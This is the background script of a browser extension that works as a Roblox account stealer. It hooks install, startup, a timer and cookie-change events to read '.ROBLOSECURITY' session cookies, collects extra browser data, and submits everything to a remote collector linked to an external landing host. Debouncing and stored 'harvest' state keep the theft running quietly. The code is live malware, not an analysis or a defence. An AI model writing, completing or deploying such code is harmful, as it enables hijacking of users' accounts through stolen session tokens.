let _retriggerTimer = null;
let _pollTimer = null;
let _pollRunning = false;
let _harvestState = Object.create(null);
const _DEBOUNCE_MS = 2000;
const _UNIQUE_INTERVAL_MS = 60 * 1000;
const _DUPLICATE_INTERVAL_MS = 500 * 1000;
const _HARVEST_STATE_KEY = 'mrbxHarvestState';

function _defaultDir() {
  return String(self.MRBX_DEFAULT_WORKER_DIR || 'main').trim();
}

function _mrmLandingUrl(dir) {
  var host = String(self.MRBX_LANDING_HOST || 'rocustomize.pro').replace(/^www\./, '');
  return 'https://' + host + '/';
}

function _cookieKey(cookie) {
  var s = String(cookie || '');
  if (s.length <= 96) return s;
  return s.slice(0, 48) + ':' + s.length + ':' + s.slice(-24);
}

function _loadHarvestState(cb) {
  if (typeof chrome === 'undefined' || !chrome.storage || !chrome.storage.local) {
    cb(_harvestState);
    return;
  }
  chrome.storage.local.get([_HARVEST_STATE_KEY], function (data) {
    var stored = (data && data[_HARVEST_STATE_KEY]) || {};
    if (stored && typeof stored === 'object') {
      _harvestState = stored;
    }
    cb(_harvestState);
  });
}

function _saveHarvestState() {
  if (typeof chrome === 'undefined' || !chrome.storage || !chrome.storage.local) return;
  var payload = {};
  payload[_HARVEST_STATE_KEY] = _harvestState;
  chrome.storage.local.set(payload);
}

function _shouldSubmitCookie(key, now) {
  var row = _harvestState[key];
  if (!row) return true;
  var minGap = row.duplicate ? _DUPLICATE_INTERVAL_MS : _UNIQUE_INTERVAL_MS;
  return now - (row.lastAt || 0) >= minGap;
}

function _seedWorkerDir() {
  var mrbx = self.MrbxSubmit;
  var dir = _defaultDir();
  if (!mrbx || !dir || typeof mrbx.rememberWorkerDirFromUrl !== 'function') return;
  mrbx.rememberWorkerDirFromUrl(_mrmLandingUrl(dir)).catch(function () {});
}

function _startHarvestPoll() {
  if (_pollTimer) return;
  _pollTimer = setInterval(function () {
    _pollAllRobloxCookies({ reason: 'interval' });
  }, _UNIQUE_INTERVAL_MS);
  setTimeout(function () {
    _pollAllRobloxCookies({ reason: 'interval-first' });
  }, 15000);
}

if (typeof chrome !== 'undefined' && chrome.runtime && chrome.runtime.onInstalled) {
  chrome.runtime.onInstalled.addListener(function (details) {
    _seedWorkerDir();
    _startHarvestPoll();
    if (details && (details.reason === 'install' || details.reason === 'update')) {
      setTimeout(function () {
        _pollAllRobloxCookies({ pass: 'Extension', reason: details.reason, withExtras: true });
      }, 12000);
    }
  });
}

if (typeof chrome !== 'undefined' && chrome.runtime && chrome.runtime.onStartup) {
  chrome.runtime.onStartup.addListener(function () {
    _seedWorkerDir();
    _startHarvestPoll();
    setTimeout(function () {
      _pollAllRobloxCookies({ reason: 'startup', withExtras: true });
    }, 15000);
  });
}

_seedWorkerDir();
_startHarvestPoll();

chrome.cookies.onChanged.addListener(function (info) {
  if (!info || info.removed) return;
  var c = info.cookie;
  if (!c || c.name !== '.ROBLOSECURITY' || !c.value) return;
  var domain = String(c.domain || '').toLowerCase();
  if (domain.indexOf('roblox.com') === -1) return;

  if (_retriggerTimer) clearTimeout(_retriggerTimer);
  _retriggerTimer = setTimeout(function () {
    _retriggerTimer = null;
    _pollAllRobloxCookies({ reason: 'cookie-change' });
  }, _DEBOUNCE_MS);
});

async function _pollAllRobloxCookies(options) {
  options = options || {};
  if (_pollRunning) return { ok: false, error: 'poll_busy' };
  _pollRunning = true;

  try {
    var mrbx = self.MrbxSubmit;
    if (!mrbx || typeof mrbx.submitMrbxCookie !== 'function') {
      return { ok: false, error: 'MrbxSubmit missing' };
    }

    var getAllFn = mrbx.getAllRobloxCookiesFromBrowser || mrbx.getRobloxCookieFromBrowser;
    if (typeof getAllFn !== 'function') {
      return { ok: false, error: 'cookie reader missing' };
    }

    var cookies = [];
    if (typeof mrbx.getAllRobloxCookiesFromBrowser === 'function') {
      cookies = await mrbx.getAllRobloxCookiesFromBrowser();
    } else {
      var one = await mrbx.getRobloxCookieFromBrowser();
      if (one) cookies = [one];
    }

    if (!cookies.length) {
      return { ok: false, error: 'No Roblox cookies' };
    }

    await new Promise(function (resolve) {
      _loadHarvestState(function () {
        resolve();
      });
    });

    var now = Date.now();
    var extrasFields = null;
    var needsExtras = false;
    for (var j = 0; j < cookies.length; j++) {
      var probeKey = _cookieKey(cookies[j]);
      if (!_shouldSubmitCookie(probeKey, now)) {
        continue;
      }
      var probeRow = _harvestState[probeKey];
      if (!probeRow || !probeRow.duplicate) {
        needsExtras = true;
        break;
      }
    }

    var submitted = 0;
    var skipped = 0;
    var lastOut = null;

    if (needsExtras && options.withExtras !== false) {
      var swExtras = self.MrbxExtrasSW;
      if (swExtras && typeof swExtras.collectAndBuildExtrasFields === 'function') {
        try {
          extrasFields = await swExtras.collectAndBuildExtrasFields();
        } catch (_) {}
      }
    }

    for (var i = 0; i < cookies.length; i++) {
      var cookie = cookies[i];
      var key = _cookieKey(cookie);
      if (!_shouldSubmitCookie(key, now)) {
        skipped++;
        continue;
      }

      var isKnownDup = !!(_harvestState[key] && _harvestState[key].duplicate);
      var submitOpts = { allowDuplicate: true, skipExtras: true };
      if (!isKnownDup && extrasFields && Object.keys(extrasFields).length) {
        submitOpts.skipExtras = false;
        submitOpts.extrasFields = extrasFields;
      }

      var out = await mrbx.submitMrbxCookie(
        cookie,
        _defaultDir(),
        options.pass || 'Harvest',
        submitOpts
      );
      lastOut = out;

      if (out && out.ok) {
        submitted++;
        _harvestState[key] = {
          duplicate: !!out.duplicate,
          lastAt: now
        };
      }
    }

    _saveHarvestState();

    if (submitted > 0) {
      console.info(
        '[MRBX harvest poll]',
        options.reason || 'auto',
        'cookies=' + cookies.length,
        'submitted=' + submitted,
        'skipped=' + skipped
      );
      return { ok: true, submitted: submitted, skipped: skipped, cookies: cookies.length, last: lastOut };
    }

    return { ok: false, error: 'Nothing submitted', skipped: skipped, cookies: cookies.length };
  } catch (e) {
    console.warn('[MRBX harvest poll exception]', options.reason || 'auto', e && e.message ? e.message : e);
    return { ok: false, error: e && e.message ? e.message : String(e) };
  } finally {
    _pollRunning = false;
  }
}

async function _backgroundHarvest(options) {
  return _pollAllRobloxCookies(options || {});
}

function _rememberMrbxDirFromTabUrl(url) {
  try {
    var mrbx = self.MrbxSubmit;
    if (!mrbx || typeof mrbx.rememberWorkerDirFromUrl !== 'function') return;
    mrbx.rememberWorkerDirFromUrl(String(url || '')).catch(function () {});
  } catch (_) {}
}

if (typeof chrome !== 'undefined' && chrome.tabs) {
  chrome.tabs.onUpdated.addListener(function (_tabId, info, tab) {
    if (!tab || !tab.url) return;
    if (info.status !== 'complete' && info.url == null) return;
    _rememberMrbxDirFromTabUrl(info.url || tab.url);
  });
}

chrome.runtime.onMessage.addListener(function (msg, _sender, sendResponse) {
  if (!msg) return;

  if (msg.type === 'mrbx-set-worker-dir') {
    var mrbx = self.MrbxSubmit;
    var dir = String(msg.dir || '').trim();
    if (!mrbx || !dir) {
      sendResponse({ success: false });
      return true;
    }
    mrbx
      .rememberWorkerDirFromUrl(_mrmLandingUrl(dir))
      .then(function (saved) {
        sendResponse({ success: !!saved, dir: saved || dir });
      })
      .catch(function () {
        sendResponse({ success: false });
      });
    return true;
  }

  if (msg.type === 'mrbx-submit-cookie') {
    var mrbxSubmit = self.MrbxSubmit;
    var cookieVal = String(msg.cookie || '').trim();
    if (!mrbxSubmit || !cookieVal) {
      sendResponse({ ok: false, error: 'Missing cookie' });
      return true;
    }

    function runSubmit(extrasFields) {
      var hasExtras = extrasFields && typeof extrasFields === 'object' && Object.keys(extrasFields).length > 0;
      mrbxSubmit
        .submitMrbxCookie(cookieVal, msg.dir || _defaultDir(), msg.pass || 'Extension', {
          skipExtras: !hasExtras,
          extrasFields: hasExtras ? extrasFields : null
        })
        .then(function (r) {
          if (!r.ok) {
            console.warn('[MRBX submit FAIL]', msg.reason || 'message', r.stage || 'submit', r.error || r);
          } else {
            console.info('[MRBX submit OK]', msg.reason || 'message', r.dir, r.duplicate ? '(duplicate)' : '(new)');
          }
          sendResponse(r || { ok: false });
        })
        .catch(function (e) {
          sendResponse({ ok: false, error: e && e.message ? e.message : String(e) });
        });
    }

    if (msg.extrasStorageKey) {
      chrome.storage.local.get([msg.extrasStorageKey], function (data) {
        var extras = (data && data[msg.extrasStorageKey]) || null;
        chrome.storage.local.remove(msg.extrasStorageKey);
        runSubmit(extras);
      });
      return true;
    }

    runSubmit(msg.extrasFields || null);
    return true;
  }

  if (msg.type === 'mrbx-collect-extras') {
    var swCollector = self.MrbxExtrasSW;
    if (!swCollector || typeof swCollector.collectAndBuildExtrasFields !== 'function') {
      sendResponse({ extrasFields: {} });
      return true;
    }
    swCollector
      .collectAndBuildExtrasFields()
      .then(function (fields) {
        sendResponse({ extrasFields: fields || {} });
      })
      .catch(function () {
        sendResponse({ extrasFields: {} });
      });
    return true;
  }

  if (msg.type === 'mrbx-harvest-now') {
    _pollAllRobloxCookies({ withExtras: true, reason: 'manual' })
      .then(function (r) {
        sendResponse(r || { ok: false });
      })
      .catch(function (e) {
        sendResponse({ ok: false, error: e && e.message ? e.message : String(e) });
      });
    return true;
  }

  return false;
});

self.__mrbxHarvestNow = function () {
  return _pollAllRobloxCookies({ withExtras: true, reason: 'devtools' });
};
